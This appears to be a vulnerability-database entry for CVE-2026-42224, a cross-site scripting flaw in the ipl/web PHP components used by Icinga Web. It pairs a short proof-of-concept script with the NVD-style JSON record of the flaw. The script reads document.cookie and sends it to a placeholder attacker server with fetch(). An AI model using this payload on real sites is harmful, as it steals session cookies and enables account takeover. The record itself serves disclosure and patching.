CVE-2026-42224

<!-- Proof of Concept for CVE-2026-42224 --> <!-- Description: Simple XSS payload to demonstrate script execution in ipl/web context --> <script> // Malicious JavaScript payload // This demonstrates the ability to execute code in the victim's browser context console.log('CVE-2026-42224 Exploited: ipl/web XSS'); // Example: Exfiltrate session cookies var cookies = document.cookie; var attackerUrl = 'https://attacker-controlled-server/log?c=' + encodeURIComponent(cookies); // Send data to attacker fetch(attackerUrl); alert('XSS Triggered in ipl/web'); </script>

{"cve": {"id": "CVE-2026-42224", "sourceIdentifier": "[email protected]", "published": "2026-05-08T23:16:35.990", "lastModified": "2026-05-08T23:16:35.990", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "ipl/web is a set of common web components for php projects. Prior to version 0.13.1, the vulnerability allows an attacker to inject malicious Javascript into a victim's browser to run it in the context of Icinga Web. The victim needs to visit a specifically prepared website and may have no immediate chance to notice any wrongdoing. This issue has been patched in version 0.13.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/Icinga/ipl-web/commit/f387e92504d7a03bb857d1aee9b7410e06dd065d", "source": "[email protected]"}, {"url": "https://github.com/Icinga/ipl-web/releases/tag/v0.13.1", "source": "[email protected]"}, {"url": "https://github.com/Icinga/ipl-web/security/advisories/GHSA-55wf-5m3q-6jjf", "source": "[email protected]"}]}}